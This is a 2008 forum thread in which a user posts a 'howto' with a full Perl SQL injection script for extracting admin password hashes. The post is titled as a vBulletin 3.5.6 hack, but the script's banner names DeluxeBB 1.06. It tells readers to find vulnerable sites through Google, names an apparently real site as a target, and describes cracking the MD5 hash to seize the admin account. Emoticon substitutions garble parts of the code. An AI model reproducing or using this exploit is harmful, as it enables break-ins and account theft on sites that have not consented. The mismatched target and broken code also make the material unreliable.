Post: [Howto] Hack a Vbulletin 3.5.6 form
10-21-2008, 10:12 PM #1
Iconnor12
Do a barrel roll!
(adsbygoogle = window.adsbygoogle || []).push({}); First of you will need ActivePerl you can download from here You must login or register to view this content.
make sure that you save it to your C: from there all you need to do is go to notepad and paste this in :

    
#!/usr/bin/perl

use IO::Socket;


print q{
#############################################
# DeluxeBB 1.06 Remote SQL Injection Exploit#
# exploit discovered and coded #
# by Iconnor12#
# Do not take advantage of this script and call it your own#
#Iconnors Work#
#############################################
};

if (!$ARGV[2]) {

print q{
Usage: perl dbbxpl.pl host /directory/ victim_userid

perl dbbxpl.pl www.somesite.com[Space]/[Space]1

User Id 1 is usually the admin

};

}


$server = $ARGV[0];
$dir = $ARGV[1];
$user = $ARGV[2];
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid = $ARGV[5];

print "------------------------------------------------------------------------------------------------
";
print "[>] SERVER: $server
";
print "[>] DIR: $dir
";
print "[>] USERISad Awesome $user
";
print "------------------------------------------------------------------------------------------------

";

$server =~ s/(http:\/\/)//eg;

$path = $dir;
$path .= "misc.php?sub=profile&name=0'Winky Winky+UNION+SELECT+0,pass ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0

,0+FROM%20deluxebb_users%20WHERE%20(uid='".$user ;


print "[~] PREPARE TO CONNECT...
";

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-]

CONNECTION FAILED";

print "[+] CONNECTED
";
print "[~] SENDING QUERY...
";
print $socket "GET $path HTTP/1.1
";
print $socket "Host: $server
";
print $socket "Accept: */*
";
print $socket "Connection: close

";
print "[+] DONE!

";



print "--[ REPORT ]------------------------------------------------------------------------------------
";
while ($answer = <$socket>Winky Winky
{

if ($answer =~/(\w{32})/)
{

if ($1 ne 0) {
print "Password Hash is: ".$1."
";
print "--------------------------------------------------------------------------------------
";

}
exit();
}

}
print "------------------------------------------------------------------------------------------------
";

Save that as "anything you want.pl" save it into the bin folder in your Perl folder which should be in your C: or this exploit wont work!

Ater you have saved your script go to Start>run>Cmd then type cd C:\perl\bin e.g. anything.pl as shown in the picture below..


You must login or register to view this content.

then search for a website powered by vbulletin 3.5.6 just google it
then copy the URLall you need is upto the .com i used the first one i found
which was "https://www.microzonex.com.ar/" after you have your URL u need the admins or victims id the admin is usually 1 as said in the script. you you would type "https://www.microzonex.com.ar / 1"

then press enter and you should get a MD5 hash code as shown in the pic below

You must login or register to view this content.

when you have the hash code go to a site that cracks MD5 hash code like You must login or register to view this content. that find exploits in windows,mac etc they also crach MD5 hashes under cracker. You will need to wait for space to post your hash as many are posted a day. when you have your hash cracked you will have the password in plain text. the login name is the admins name e.g. lulz

enjoy Iconnor12 Happy

hope this post aint gona get me banned :/
10-21-2008, 10:40 PM #2
Dandyman2
The Only Krazy
don't touch our site or we will not like you at all!
10-21-2008, 10:50 PM #3
Originally posted by dandyman2 View Post
don't touch our site or we will not like you at all!


Don't worry dandyman, NGU is 3.7.3.
    Powered by vBulletin® Version 3.7.3

But this exploit may not work because I'm sure vbulletin has released a security patch for it.
10-21-2008, 10:57 PM #4
Iconnor12
Do a barrel roll!
this will not work on anything higher that 3.5.6 or i wouldnt have posted it...
+ i <3 NGU lol
Last edited by Iconnor12 ; 10-22-2008 at 12:21 AM.

Copyright © 2024, NextGenUpdate.
All Rights Reserved.

Gray NextGenUpdate Logo